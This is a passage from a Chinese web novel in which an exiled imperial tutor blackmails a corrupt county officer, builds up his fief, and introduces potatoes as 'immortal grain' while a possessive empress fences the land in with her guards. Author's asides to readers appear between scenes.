这一声,如同惊雷,炸醒了所有失魂落魄的村民。 他们看着田里堆积如山的收获,看着那个白衣胜雪的身影。 恐惧,敬畏,狂喜,种种情绪交织在一起,最终汇成了一股最原始的信仰洪流。 扑通!扑通!扑通! 成百上千的村民,如同被风吹倒的麦浪,齐刷刷地跪了下去。 他们学着石爷的样子,用最虔诚的姿态,将额头贴近这片养育他们的土地。 “拜见粮神!” “粮神老爷千岁千岁千千岁!” (写到这的时候我自己都没绷住....) 山呼海啸般的呐喊,震得地皮都在发麻。 李源站在原地,手脚冰凉,浑身僵硬。 他读圣贤书,学治国理政,他以为天下人心,靠的是教化,是律法,是皇权。 可眼前的这一幕,彻底颠覆了他的认知。 没有刀剑,没有官印,甚至没有一句多余的言语。 仅仅是让人们吃饱肚子的希望。 就足以让数千人俯首,献上他们的信仰与忠诚。 这……才是真正的力量。 在远处山坡上,一名负责监视的凤卫队长,死死地握着腰间的刀柄,指节因为用力而发白。 她看着那片被人群簇拥的白色身影,看着那山呼海啸般的叩拜。 她忽然觉得,陛下在神京打造的那个金丝鸟笼,好像……有点困不住这条真龙了。 这天晚上,整个云梦泽都变成了欢乐的海洋。 巨大的篝火在空地上燃起,将半边天都映得通红。 没有精致的菜肴,也没有美酒。 只有烤的,煮的,捣成泥的。 一个虎头虎脑的半大孩子,从火堆里扒拉出一个烤得焦黄的“仙粮”,烫得他龇牙咧嘴,却又舍不得松手。 他吹了两口气,就迫不及待地咬了一大口。 绵软,香甜,带着一股朴实的焦香。 好吃! 太好吃了! 孩子一边狼吞虎咽,一边流下了眼泪,也不知是烫的,还是幸福的。 所有的村民,无论男女老少,都在埋头大吃。他们吃得满嘴是油,满脸是笑,不少人吃着吃着,就抱着那能填饱肚子的“神物”嚎啕大哭。 这是吃饱的幸福。 这是活下去的希望。 顾云舟没有吃。 他静静地坐在篝火旁,火光在他脸上跳跃,映出一片平静的阴影。 他看着那些欢呼的人群,看着那些最质朴的笑脸和泪水。 他知道,从今天起,他在这片土地上,就拥有了第一批真正属于自己的东西。 这不是女帝赏的,不是系统给的。 这是他亲手种出来的。 是刀剑夺不走,皇权也压不垮的,人心。 李源脚步虚浮地走了过来,他手里拿着一张刚刚写好的草稿,上面全是密密麻麻的数字和计算公式。 他的脸色,一半是狂喜,一半是惊恐。 “先生……”他走到顾云舟身边,声音都在发颤。 顾云舟抬眼看他。 李源用力地咽了口唾沫,将手里的草稿递了过去。 “先生,我……我粗略算了一下亩产。” 他的声音压得极低,仿佛在说什么惊天大秘密。 “如果……如果按照今天这个收成来算,一亩‘仙粮’,足以让五口之家,吃上整整一年,还有富余。” 说到这里,李源的呼吸都变得急促起来,眼神中透出一种极致的恐惧。 “先生,这……这不是粮食啊。” “这是能让天下所有人都填饱肚子的力量。” “这股力量,足以……足以……” 他不敢再说下去。 足以让无数流民揭竿而起,足以让任何一个野心家,在半年之内,拉起一支不愁粮草的百万大军。 足以,改朝换代。 顾云舟没有接那张纸。 他只是平静地看着眼前的篝火,随手从地上捡起一根烧黑的树枝。 他在松软的泥地上,轻轻画了一个圈。 然后,他又在这个圈的外面,画了一个更大,更完整的圈。 他看着地上的两个圆圈,一个在里,一个在外。 (晚上还有一张哈,谢谢大家的礼物和喜欢(ˉ▽ ̄~) ) 第八十一章 诚服还是寄? “我,又是何人?” 顾云舟的声音很轻,却像一块石头砸进了死寂的池塘。 吴大海脸上的肥肉抖了抖,那丝莫名的不安瞬间被狂暴的怒意所取代。 他娘的,一个手无寸铁的小白脸,死到临头了,还敢在老子面前装神弄鬼? “老子管你是谁!”吴大海狞笑一声,马鞭恶狠狠地向下一指,“在这青河县地界,在这云梦泽,老子就是天,老子就是法!给我拿下!谁再敢动一下,满门抄斩!” 他觉得自己的王霸之气已经侧漏。 然而,预想中屁滚尿流的场面没有出现。 那个白衣年轻人,非但没有跪下,反而笑了。 那是一种看傻子一样的眼神,充满了怜悯。 “是吗?”顾云舟轻声反问,然后慢条斯理地,将手伸进了自己洗得发白的衣襟里。 所有人的心都提到了嗓子眼。 他要干什么? 难道这文弱书生怀里还藏着什么神兵利器不成? 吴大海眼皮一跳,下意识地勒紧了缰绳。 然后,在数百道目光的注视下,顾云舟缓缓地,掏出了一卷……东西。 一卷用明黄色锦缎包裹得整整齐齐的卷轴。 明黄。 这个颜色,像一根针,猛地刺进了吴大海的瞳孔。 他的呼吸,骤然一滞。 整个大炎王朝,敢用这个颜色的,只有一家人。 皇室。 顾云舟没有理会他瞬间僵硬的表情,双手捧着卷轴,轻轻展开。 哗啦一声。 锦缎铺开,露出了里面的真容。 那是一份写在特制宫绢上的文书。 最上方,一个鲜红的,方方正正的印记,像一团燃烧的火焰,灼伤了所有人的眼睛。 大炎传国玉玺! 吴大海只觉得脑子里“嗡”的一声,仿佛被攻城锤狠狠砸了一下。 他看不懂玉玺上篆刻的字,但他认得那个形状,认得那个独一无二的、代表着至高皇权的印记! 他的目光,不受控制地顺着玉玺往下移。 一行行用朱砂御笔写就的字迹,笔锋清丽,却又透着一股不容置疑的威严。 那字他认得,是当今陛下的笔迹! 诏书的内容不长,但每一个字都像一把重锤,砸在吴大海的心口上。 “……兹念帝师顾云舟,辅佐朕躬,匡扶社稷,厥功至伟……特赐云梦泽全境为食邑,封云梦侯,钦此。” 帝师……顾云舟。 云梦泽……封地。 吴大海的眼珠子几乎要从眼眶里瞪出来。 他脸上的血色以肉眼可见的速度褪去,从猪肝色变成煞白,冷汗“唰”的一下就浸透了后背的官服。 帝师顾云舟! 那个被陛下满天下通缉,悬赏黄金万两,封万户侯的内个男人! 那个传说中以一人之力,搅动天下风云,把持朝政,连女帝都对他言听计从的男人! 他……他就是帝师? 而自己,刚才,带着二十多个衙役,冲进了当朝帝师的……封地。 不仅要抢他的东西,还要杀他的人,甚至要将他“就地正法”? 吴大海只觉得天旋地转,一股寒气从脚底板直冲天灵盖,差点一头从马背上栽下来。 他终于明白,刚才那句“此地,究竟是何人的封地”是什么意思了。 这不是一句屁话。 这是来自封地之主的,死亡质问! 他再看向顾云舟,那张清秀温和的脸,此刻在他眼中,比地府的阎王还要可怕一万倍。 “扑通!” 一个衙役腿一软,手里的佩刀当啷一声掉在地上,整个人跪了下去。 紧接着,是第二个,第三个…… 二十多个刚才还凶神恶煞的衙役,此刻像是被抽了骨头的死狗,一个个丢盔弃甲,跪倒在地,头埋得死死的,连大气都不敢喘。 整个村口,死一般的寂静。 只有村民们粗重的呼吸声,和石爷那根拐杖因为激动而微微颤抖的声音。 他们看不懂诏书,但他们看得懂吴大海那张死了爹娘一样的脸,看得懂那些官差老爷们见了鬼一样的反应。 先生……竟然是这么大的人物? 顾云舟将诏书缓缓卷起,重新用锦缎包好,塞回怀里。 整个过程,不紧不慢,优雅得像是在收拾自己的书画。 他抬头,看着马上面如死灰的吴大海,再次露出了那种温和的笑容。 “吴县尉,现在,你知道我是谁了吗?” “下……下官……下官有眼不识泰山!下官罪该万死!” 吴大海连滚带爬地从马背上摔下来,肥硕的身体在地上磕得砰砰作响,“下官不知是帝师大人当面,求大人饶命!饶命啊!” “别急。”顾云舟抬了抬手,语气依旧平淡,“你的罪,我们慢慢算。” 他踱了两步,围着吴大海的马转了一圈。 “陛下通缉我,那是君臣之间的家事,是陛下在跟我闹脾气。这事,不归你管,也轮不到你来管。” 吴大海闻言,心里猛地燃起一丝希望。 对!家事! 这是帝师大人自己说的! “但是……”顾云舟话锋一转,声音陡然冷了下来,“你,吴大海,身为青河县尉,不思报效朝廷,反而拥兵自重,擅闯朝廷命官的封地,意图抢掠私产,甚至纵容手下行凶,打伤我的子民。” 他指了指那个胳膊上还在流血的村民。 “这,可就不是家事了。” 顾云舟的目光落在吴大海的脸上,一字一顿地说道:“按大炎律,此为谋反,当夷三族。” 夷……三……族…… 三个字,像三道天雷,劈得吴大海魂飞魄散。 他裤裆一热,一股骚臭味瞬间弥漫开来。 “大人饶命!大人饶命啊!下官是猪油蒙了心!下官再也不敢了!”吴大海涕泪横流,抱着顾云舟的腿,磕头如捣蒜。 “想活命?”顾云舟低头看着他。 “想!想!下官做牛做马都愿意!” “好。”顾云舟点了点头,“我这个人,一向心善,念你也是不知者不罪,就给你一个将功赎罪的机会。” 他从怀里又掏出一叠草纸,和一支炭笔。 “你过去三年,在云梦泽地界,违规多收的盐税渔税,总共三百二十两白银,全部退还给村民。” “另外,石滩村的村民们生活困苦,你身为父母官,理应帮扶。就由你‘赞助’一批农具铁器,五十套。再‘赞助’一批稻种粮种,二百斤。” “这……这……”吴大海脸都绿了,这他妈是把他往死里宰啊! “嗯?”顾云舟的鼻子里,轻轻哼了一声。 吴大海一个激灵,立刻把所有话都咽了回去,点头如小鸡啄米:“下官愿意!下官愿意!下官马上就去办!” “口说无凭。”顾云舟把纸和笔递到他面前,“这是你主动退赔的协议,白纸黑字写清楚了,你签个字,画个押。我也好拿着这份东西,向朝廷报备,为你表功嘛。” 吴大海看着那份详细记录了自己所有“罪证”的协议,哪里还敢说半个不字。 这哪是协议,这分明是催命符! 可跟夷三族比起来,破财消灾简直是天大的恩赐。 他颤抖着手,接过炭笔,歪歪扭扭地在协议末尾写上了自己的名字,又沾了点地上的泥水,按下了手印。 签完字,他像被抽干了所有力气,瘫软在地,只求这位爷能赶紧放自己走。 顾云舟收好那份“协议”,满意地吹了吹上面的字迹。 他俯下身,凑到吴大海耳边,用只有两个人能听到的声音,轻飘飘地说道: “对了,忘了告诉你。” “这份东西,我会派人快马加鞭,送往神京。” “交给新上任的御史中丞,苏长青苏大人。” 吴大海的瞳孔,猛地缩成了针尖。 御史中丞! 专管监察百官,风闻奏事的御史台一把手! 苏长青这个名字他没听过,但这不重要! 自己这份签了字的罪证,一旦送到御史台…… 那自己这辈子,就彻底完了! 他终于明白,对方根本不是要放过他。 而是给他套上了一根,随时可以收紧的绞索! “吴县尉。”顾云舟直起身,居高临下地看着他,脸上又恢复了那副人畜无害的温和笑容。 “以后,我这云梦泽的事,就劳烦你,多多‘关照’了。” 吴大海抬起头,看着那张笑脸,只觉得浑身冰冷,如坠九幽。 他张了张嘴,却一个字都说不出来。 最后,他像是被抽走了所有精气神,从牙缝里挤出几个字。 “下官……遵命。” 顾云舟挥了挥手,像是在赶一只苍蝇。 “滚吧。” 吴大海如蒙大赦,连滚带爬地起身,招呼着他那群同样吓破了胆的下属,狼狈不堪地逃离了石滩村。 来时气势汹汹,去时,如丧家之犬。 直到那群官差的身影彻底消失在视野里,整个石滩村,才爆发出震天的欢呼! “先生威武!” 村民们扔掉手里的武器,激动地又笑又跳,看向顾云舟的眼神,已经不再是敬畏。 那是狂热。 那是对神明的,绝对崇拜! 石爷拄着拐杖,老泪纵横地走到顾云舟面前,带着身后数百村民,齐刷刷地跪了下去。 这一次,不是哀求,不是敬畏。 是发自内心的,臣服。 “我等,拜见云梦侯!” 声音汇成一股洪流,在云梦泽的上空,久久回荡。 顾云舟看着眼前黑压压跪倒的一片,神色平静。 他抬起手,虚扶了一下。 “都起来吧。” 他的目光越过人群,望向神京的方向,嘴角勾起一抹无人察觉的笑。 小丫头,你以为用天下为笼,就能困住我? 你错了。 (言谢无力,四更奉上,感谢大家的礼物,谢谢(〃▽〃)) 第八十二章 温柔的锁链 吴大海的效率高得吓人。 或者说,那根悬在他脖子上的绞索,比任何鞭子都好用。 三天之内,第一批“赔偿”就送到了石滩村。 不是什么金银细软,全是顾云舟点名要的硬通货。 崭新的农具堆成了一座小山,闪着冰冷的铁光。五百斤精挑细选的稻种粮种,用一个个麻袋装得整整齐齐。还有上百匹足够让全村男女老少都换上一身新衣的粗布。 吴大海甚至贴心地多送了十头壮硕的耕牛,和两大车肥得流油的腌肉。 那张写满罪证的协议,就是悬在他头顶的达摩克利斯之剑。顾云舟什么时候想让他死,只需要把信送到神京,他吴大海就得立刻人头落地,还得背上一个遗臭万年的污名。 所以他不仅要办,还要办得漂亮,办得让这位爷满意。 石滩村彻底疯了。 不,是燃了。 几百号村民,男女老少,有一个算一个,眼里冒出的光几乎能把云梦泽的瘴气都给点着。 在顾云舟画出的规划图下,整个村子变成了一个巨大的工地。 排沼泽,挖沟渠,开垦荒地,修建新的居住区。 干活的号子喊得震天响,每个人脸上都像是开了光,仿佛有使不完的牛劲。以前是为了一口吃的挣扎求生,现在,是为了一个看得见摸得着的未来玩命。 顾云舟没闲着。 他亲自带着几个最机灵的后生,在村子后头,圈出了一块最肥沃的土地。 然后,在所有人期待又敬畏的目光中,他从自己那间茅屋里,小心翼翼地捧出了一个小小的布袋。 “此物,名为‘仙粮’。” 顾云舟面色肃穆,一本正经地胡说八道。 “乃我游历海外时,于仙山偶然所得。其貌不扬,却能亩产数千斤,足以养活十倍之众。” 村民们伸长了脖子,看着他从袋子里倒出的那些疙疙瘩瘩,长得歪瓜裂枣的玩意儿,全都傻眼了。 这玩意儿……也能吃? 还亩产几千斤? 这不是吹牛不上税吗? 但这话是先生说的。 是那位能点土成盐,能让县尉老爷磕头求饶的活神仙说的。 那这玩意儿,就一定是仙粮! 于是,在一片狂热的注视下,顾云舟亲手将那几颗从系统仓库里兑换出来的,平平无奇的土豆,切块,埋进了地里。 只要这东西能种出来,他就有了最稳固的根基。 整个云梦泽,热火朝天,一片生机。 …… 神京,御书房。 暖炉烧得很旺,空气中弥漫着淡淡的龙涎香。 身着明黄龙袍的萧青鸾,正坐在那张曾经让她感到无边孤寂的龙椅上。 但此刻,她绝美的脸上,却洋溢着一种近乎痴迷的、满足的微笑。 她的手指,正轻轻抚摸着一份来自青河县的奏报。 奏报是吴大海写的,字里行间充满了卑微的、露骨的谄媚。 他将顾云舟描绘成了一位幡然醒悟,彻底放弃了不切实际的幻想,决心在自己的封地安享晚年的归隐贤臣。 奏报里,他用尽了毕生所学的华丽辞藻,将云梦泽描绘成了一片世外桃源。 帝师大人如何带领刁民开垦荒地,如何规划村落,如何体恤民情……那画面,简直就是上古圣贤才能做出的功绩。 奏报的最后,吴大海用颤抖的笔迹写道:“帝师大人时常遥望神京,虽不言语,然其感念天恩之情,溢于言表……” 萧青鸾的嘴角,越扬越高。 她甚至能想象出先生在云梦泽的身影。 他一定是在生气,气自己将他“赶”出神京。 可你看,没有了那些朝堂上的烦心事,没有了那些算计和阴谋,先生不是过得很好吗? 你不是已经开始,亲手建设我为你准备的“家”了吗? 先生……你果然还是懂我的。 这份爱,这份守护,你终于开始接受了。 一种前所未有的满足感和控制欲,像最甜美的蜜糖,浸透了她的心。 她要给他更多。 既然他喜欢建设自己的家,那她就给他最好的工匠,最多的物资,让他把那个“家”,建成全天下最美的地方。 一个只属于他们两个人的,永远不会有人打扰的,最完美的囚笼。 “来人。”她轻声开口,声音里带着一丝愉悦的颤音。 “传朕旨意。” “着工部尚书,即刻遴选全国最好的工匠一千人,农学家一百人。” “开内库,取黄金万两,珍宝百箱,粮草十万石,布匹千车……” “再将朕亲手培育的‘仙粮’,尽数带上。” “命新科进士李源,为云梦泽县令,即刻上任,辅佐帝师,处理一切庶务。” “另,调凤卫一营,随队前往。” 女帝顿了顿,绝美的脸上露出一抹温柔到极致的笑。 “务必,保护好帝师大人的安全。” “告诉他,朕在神京,等他把我们的家,建好。” 半个月后。 当一支绵延数里,旌旗招展,看不到头的庞大队伍,出现在云梦泽的地平线上时,顾云舟正站在新开垦的田埂上,看着破土而出的土豆苗,心情相当不错。 可当他看清那队伍的规模时,那点好心情,瞬间烟消云散。 他看到了什么? 堆积如山的物资,黑压压的工匠人群,甚至还有几车他只在图纸上见过的,由工部最新研发的翻车。 为首的一名年轻官员,身着崭新的官服,一看到他,便立刻翻身下马,快步上前,纳头便拜。 “学生李源,拜见先生!” 顾云舟的眼皮狠狠跳了一下。 李源,他亲自点的新科进士,他最忠诚的门生之一。 他怎么会来这里? 顾云舟还没来得及问,他的目光,就被李源身后那几十个沉默的身影吸引了。 她们身着赤色的软甲,身形窈窕,却散发着比百战老兵还要冰冷的杀气。 每一个人的眼神,都像鹰隼一样,死死地锁定着他。 凤卫! 他脸上的笑容,一点点凝固。 一股恶寒,顺着脊椎骨,笔直地蹿上了天灵盖。 “陛下……这是何意?”顾云舟的声音有些干涩。 李源抬起头,脸上满是挣扎和苦涩。 他从怀中,恭恭敬敬地捧出了一卷明黄的丝绸。 那不是圣旨,而是一封密谕。 顾云舟展开。 上面的字迹,是他手把手教出来的,熟悉到骨子里的秀丽笔迹。 只是此刻,那每一个字,都透着一股不容置疑的、温柔的疯狂。 “为保先生千金之躯万全,朕已下令,自即日起,云梦泽全境,划为禁区。” “由凤卫接管防务。” “任何人,不得擅自进出。” 顾云舟捏着那卷丝绸,指节因为用力而寸寸发白。 他缓缓抬起头,看向那支庞大的队伍,看向那些将整个云梦泽团团围住的凤卫。 他明白了。 她不是来赏赐的。 她是来,给他这座刚刚有了点雏形的“温床”,再加盖,再加锁。 她把整个云梦泽,也变成了一座华丽的,巨大的,滴水不漏的, 囚笼。 好家伙。 这是给我免费升级了豪华监狱套房,还附赠终身安保服务? 顾云舟的嘴角,扯出一个比哭还难看的笑容。 (感谢大家的礼物,谢谢,今天依旧四更,再连续三天四更,小铺盖就要整理后面的大纲内容了,后面打算写男女主的棋盘对弈,当然也是大家爱看的小黑屋,女主在明,男主在暗) 第八十三章 玩具 顾云舟捏着那卷丝绸,指节因为用力而寸寸发白。 他缓缓抬起头,看向那支庞大的队伍,看向那些将整个云梦泽团团围住的凤卫。 好家伙。 这是给我免费升级了豪华监狱套房,还附赠终身安保服务? 这福气给你你要不要啊。 一股恶寒顺着脊椎骨蹿上天灵盖,让顾云舟浑身冰冷。 然而,就在李源和周围凤卫那紧张又带着一丝戒备的注视下,顾云舟脸上的肌肉抽动了一下,竟扯出了一个笑容。 一个比哭还难看的笑容。 李源的眼皮狠狠一跳,心都提到了嗓子眼。 完了,先生这是气疯了。 他正要开口劝慰,却见顾云舟将那卷密谕小心翼翼地卷好,妥帖地收入怀中,仿佛那不是一道枷锁,而是一件稀世珍宝。 “学生李源,拜见先生!”李源再次叩首,声音里满是愧疚与挣扎。 顾云舟上前一步,亲手将他扶起,脸上的笑容已经变得温和,甚至带着一丝欣慰。 “起来吧,一路辛苦了。” 他的声音平静得可怕,没有一丝一毫的愤怒或绝望。 “先生……”李源看着他,一时间竟不知该说什么。 顾云舟却没理会他的欲言又止,而是拍了拍他的肩膀,目光越过他,望向那黑压压的人群和堆积如山的物资。 “陛下送来了这么多人手和物资,若不做出点成绩,岂不辜负了她一番心意?” 这话一出,李源愣住了。 就连不远处一直冷眼旁观的凤卫队长赤羽,那张冰山般的脸上,眸光也微微闪动了一下。 这是什么反应? 不该是暴怒,质问,或者心如死灰吗? 怎么听着,倒像是真心实意地要感谢陛下? “传我命令,”顾云舟的声音不大,却清晰地传到每一个人的耳朵里,“所有工匠,农学家,明日辰时,在村口广场集合。本官,要亲自给他们分派任务。” 说完,他便转身,向着石滩村的方向走去,步履从容,仿佛刚才什么都没发生过。 只留下李源和一众凤卫,在风中凌乱。 第二天,辰时。 云梦泽入口的空地上,临时搭建起了一个半人高的土台。 上千名工匠和百名农学家黑压压地聚集在台下,人群中弥漫着不安与迷茫。 他们都是从全国各地被一纸调令紧急征调而来,只知道是来辅佐一位侯爷,建设封地。 可这地方,鸟不拉屎,一片荒芜。 更诡异的是,周围全是杀气腾腾的凤卫,把整个云梦泽围得跟铁桶一样。 这哪是建设封地,分明是来坐牢的。 李源站在台下,手心里全是汗。他一夜没睡好,生怕先生今天会做出什么过激的举动。 就在这时,顾云舟在一众村民的簇拥下,登上了高台。 他今天换了一身干净的青色长衫,头发束得一丝不苟,神情平静,目光清亮。 他没有说任何官话套话,也没有摆帝师的架子。 他只是对着台下众人,微微一笑。 然后,他拿出了几卷巨大的图纸。 图纸在两个村民的帮助下展开,瞬间吸引了所有人的目光。 “这是云梦泽水利改造总图。” 顾云舟指着第一幅图,上面用墨线和朱笔,勾勒出纵横交错的线条。主干渠,分水渠,灌溉网,蓄水池,标注得清清楚楚,仿佛一条条血管,要给这片死寂的土地注入生命。 台下的工匠中,几个水利方面的老把式,只看了一眼,就倒吸一口凉气。 这布局,这构想,简直是神来之笔! “这是居民区规划图。” 第二幅图展开。一排排整齐的院落,道路宽阔,功能分区明确。住宅区,集市区,学堂,工坊,甚至连公共厕所的位置都标了出来。 “这是农田划分图。” 第三幅图展开。大片大片的土地被规划成整齐的方格,什么地方种“仙粮”,什么地方种蔬菜,什么地方养殖,一目了然。 三幅图纸,如三记重锤,狠狠砸在每一个人的心上。 台下瞬间安静了。 所有人都被这宏伟的蓝图震撼了。 这不是在坐牢。 这是要在一片荒野之上,凭空建起一座城! “我不管你们以前是哪个衙门的,拿多少俸禄,有什么背景。”顾云舟的声音再次响起,清晰而有力。 “从今天起,你们只有一个身份,云梦泽的建设者。” “我不需要你们磕头谢恩,我只需要你们干活。” 他顿了顿,目光扫过全场。 “在这里,没有论资排辈,只有能者上,庸者下。” “即刻起,所有人打乱分组。十人一组,设小组长。十个小组,设一个总管事。所有小组长和总管事,由你们自己推举,三天后,凭本事考核,不合格的,直接换人!” “烧砖的,就只管把砖烧到最好。” “挖渠的,就只管把渠挖得最快。” “盖房的,就只管把房盖得最牢。” “我们搞流水线作业!每天评比,完成任务量最多,质量最好的小组,晚上加肉!顿顿都有肉!” “一个月后,综合评比第一的小组,每人赏银十两!” “三个月后,新房盖好,所有人按功劳大小,分房!” 没有一句废话,全是干货。 简单,粗暴,却直击人心。 台下的工匠们,呼吸渐渐变得粗重。 他们都是苦出身,一辈子就图个吃饱穿暖,有个安身立命的地方。 赏银,加肉,分房子! 这些承诺,比任何说教都来得实在。 人群开始骚动,窃窃私语声汇成一片嗡嗡的声浪。 “都听清楚了吗?”顾云舟扬声问道。 “听清楚了!”不知是谁第一个吼了出来。 紧接着,山呼海啸般的回应,响彻云霄。 “听清楚了!” 李源站在台下,目瞪口呆地看着眼前的一切。 他看着自己的先生,站在高台上,三言两语,就将一群散漫不安的工匠,变成了一支嗷嗷叫的虎狼之师。 他没有愤怒,没有消沉,没有一丝一毫的颓废。 他仿佛爆发出一种惊人的,近乎恐怖的热情和创造力。 这云梦泽,在他的眼中,似乎真的不是囚笼。 而是一个可以让他肆意挥洒才华的,最心爱的玩具。 接下来的日子,整个云梦泽变成了一个巨大的,热火朝天的工地。 顾云舟说到做到。 他亲自带着人勘探地形,确定水渠走向。 他手把手教工匠们如何制作更坚固的砖瓦,如何搭建更合理的房屋结构。 他引入了奖惩制度,每天傍晚,村口的红榜上都会公布各个小组的进度和排名。赢了的小组欢天喜地,领了肉食大快朵颐。输了的也不气馁,憋着一股劲说明天一定要赢回来。 一股前所未有的活力,在这片土地上爆发开来。 李源彻底沦为了一个工具人。 他每天的工作,就是跟在顾云舟身后,负责协调物资,记录进度,处理各种杂务。 他看着一条条水渠被挖开,看着一座座砖窑拔地而起,看着一片片荒地被开垦成良田。 他心中的震撼,已经无法用言语来形容。 他甚至产生了一种荒谬的错觉。 或许,陛下是对的。 先生他,或许真的厌倦了朝堂的勾心斗角,只想找一个地方,实现自己经天纬地的抱负。 而这云梦泽,就是陛下为他选的,最好的舞台。 当晚,李源在给女帝的奏报中,详细描述了这半个月来云梦泽翻天覆地的变化。 他用尽了毕生所学的华丽辞藻,去描绘帝师大人是如何“神情振奋,日夜操劳”,如何“废寝忘食,乐在其中”,又是如何将一片不毛之地,变成了一个充满希望的桃源。 奏报的最后,他写道:“先生常于夜深人静时,登高远眺,虽不言语,然其神情之满足,非伪装所能及也。臣斗胆揣测,先生已明陛下苦心,乐于此间,忘乎所以。” 与此同时,神京,皇宫。 萧青鸾看着密探快马加急送回的报告,脸上露出了满意的笑容。 李源的奏报,和密探的报告,内容几乎一模一样。 先生他,真的接受了。 他不仅接受了,还干劲十足。 她仿佛能看到,先生站在工地上,意气风发,指点江山的样子。 那才是他该有的样子。 而不是在阴诡的朝堂上,与那些腐儒小人虚与委蛇。 “赤羽。”她轻声呼唤。 “属下在。”赤羽的身影如鬼魅般出现在她身后。 “云梦泽那边,凤卫可有异动?” “回陛下,并无异动。所有凤卫皆恪尽职守,将云梦泽防卫得滴水不漏。”赤羽的声音没有一丝波澜,“只是……” “只是什么?” “只是属下不明白,顾大人……他为何如此?” 萧青鸾笑了,笑得像个得到了心爱糖果的孩子。 “因为他懂我。” “他知道,我做的一切,都是为了他好。” “这个天下,太脏了,配不上他。只有我为他打造的那个家,那个干净的,纯粹的,只有我们两个人的家,才配得上他。” 她的声音温柔而缱绻,眼神中却闪烁着偏执的光。 赤羽沉默了。 她看着眼前的女帝,心中那股寒意,又一次浮了上来。 她总觉得,事情没有这么简单。 那个男人,那个能把神京都搅得天翻地覆的男人,真的会这么轻易就范吗? 云梦泽,入夜。 工地上依旧灯火通明,那是顾云舟下令点的火把,为了让工匠们可以连夜赶工。 喧嚣声隔得很远,传到顾云舟所站的山坡上,只剩下模糊的嗡鸣。 他独自一人,站在高处,俯瞰着这片由他亲手点燃的燎原之火。 脸上没有了白日的温和,也没有了那虚假的笑容。 只剩下如水般冰冷的平静。 他知道,李源的奏报,此刻应该已经摆在了萧青鸾的案头。 他也知道,那个女孩看到奏报后,会是何等的欣喜,何等的满足。 她会以为,她赢了。 她会以为,她用爱与权力,成功驯服了这只企图飞出牢笼的鸟。 可她不知道。 鸟,是不会被驯服的。 顾云舟伸出手,感受着夜风从指间流过。 他要的,从来不是撞破这个笼子。 那太蠢了。 他要的,是把这个笼子,打造得更舒适,更坚固,更强大。 强大到,足以成为他最重要的筹码。 只有当这个笼子变得足够有分量时,他才有资格,和笼子的主人,心平气和地,谈一谈条件。 比如,笼子门钥匙的归属问题。 他缓缓收回手,目光投向神京的方向,眼神深邃如渊。 萧青鸾。 你送来的每一块砖,每一粒米…… 我都替你,用在刀刃上了。 第八十四章 仙粮?土豆 云梦泽的建设热火朝天,但所有人都知道,侯爷心里最看重的,是那片被凤卫单独圈起来的试验田。 那片地不大,也就十来亩,却是顾云舟亲手开垦的。 今天,这片地要下种了。 石滩村的村民,还有那些从各地征调来的农学好手,里三层外三层围得水泄不通。所有人都伸长了脖子,想看看这位神仙般的侯爷,究竟要种什么宝贝。 顾云舟站在田垄上,白衣依旧,神情淡然。 在他脚边,放着几个大筐。筐里不是金黄的麦种也不是饱满的稻谷,而是一堆奇形怪状的玩意儿。 有土黄色的疙瘩,上面还长着小小的芽眼。 还有一些金灿灿的硬邦邦的颗粒。 “这是啥?”人群里有人小声嘀咕。 “看着跟山里的野薯差不多,那玩意儿又涩又苦,狗都不吃。” “侯爷不会是想种这个吧?这盐碱地,能长出东西就不错了,种这玩意儿不是白费力气吗?” 李源站在顾云舟身后,眉头紧锁。他作为钦定的云梦泽县令,对农事也算略知一二。可筐里这两样东西,他翻遍了脑子里的农书,也找不到半点记载。 这……能行吗? 顾云舟仿佛没听见周围的议论。 他弯下腰,拿起一个土黄色的疙瘩,也就是他口中的“仙粮一号”。 他拔出腰间小刀,在众目睽睽之下,将那疙瘩切成了好几块。每一块,都带着一个清晰的芽眼。 然后,他走到田里,亲手挖了一个坑,将一块切好的“仙粮”放了进去,芽眼朝上,再覆上薄薄一层土。 动作简单,利落,没有半点多余的解释。 接着,他又拿起那些金黄的颗粒,“仙粮二号”。他向众人展示了如何点播,如何控制间距。 做完这一切,他才直起身,拍了拍手上的泥土。 村长石爷拄着拐杖,颤颤巍巍地走上前。他满脸的褶子都写满了忧虑。 “侯爷……老朽斗胆问一句。”他恭敬地躬身,“这地贫,水也咸,咱们祖祖辈辈都种不出好庄稼。您种的这些……神物,真的能活吗?” 顾云舟笑了。 他没回答石爷的问题,反而朗声对所有人说:“今天,所有在这里的人都听着。” 喧闹的人群瞬间安静下来。 “这十亩地,我需要人手,按照我刚才的方法,把它们全部种上。” 他顿了顿,目光扫过每一张或怀疑或好奇的脸。 “哪一户愿意领这个活,我不仅包他家三餐,工钱照发。从今天起,他家一年的田税,全免。” 轰! 人群炸开了锅。 一年田税全免! 这是什么概念?这是天上掉下来的大馅饼! 刚才还满腹狐疑的村民们,眼睛瞬间就红了。 “侯爷!俺家干!”一个壮汉第一个吼了出来。 “俺也干!俺家五口人,都能下地!” “还有我!侯爷选我!” 刚才还无人问津的“神物”,瞬间成了香饽饽。 李源在旁边看得目瞪口呆。 他还在思考如何引经据典,说服百姓尝试新作物。结果先生一句话,问题就解决了。 简单,粗暴,有效。 这就是先生的行事风格。 接下来的日子,整个云梦泽都在一种诡异的期待中度过。 基建工程依旧疯狂推进,但所有人的目光,总会不自觉地瞟向那片试验田。 奇迹,是从第七天开始的。 一抹倔强的绿色,顶开了贫瘠的土地。 然后是第二抹,第三抹…… 半个月后,整片试验田已经绿油油一片。那些“仙粮”的生长速度,快得让人心惊胆战。它们仿佛不是在吸收土地的养分,而是在吞噬阳光和空气。 驻扎在远处的凤卫,每天的报告里都多了一项固定内容。 “试验田作物长势异常,今日又高三寸。” “作物叶片宽大肥厚,与大炎所有已知农物均不相符。” “李县令每日前往三次,绕田而行,口中念念有词,神情癫狂。” 两个月后,当试验田里的“仙粮二号”长得比人还高,结出一个个包裹着厚厚外衣的棒子时,所有人的呼吸都停滞了。 而“仙粮一号”的藤蔓,更是铺满了整个地面,绿意盎然,散发着勃勃生机。 收获的日子到了。 这一天,工地都停了工。 数千人再次聚集在试验田外,比播种那天还要安静。 空气中弥漫着一种近乎神圣的紧张感。 顾云舟依旧是一身白衣,走在最前面。他没带任何工具,只是走到了第一株“仙粮一号”的藤蔓前,蹲下身。 他伸手,拨开泥土,然后用力一拔。 哗啦啦。 随着藤蔓被拔起,一连串圆滚滚,沉甸甸的土黄色果实,被带出了地面。 一个,两个,三个……足足一窝十几个! 每一个都比成年人的拳头还大! 时间仿佛静止了。 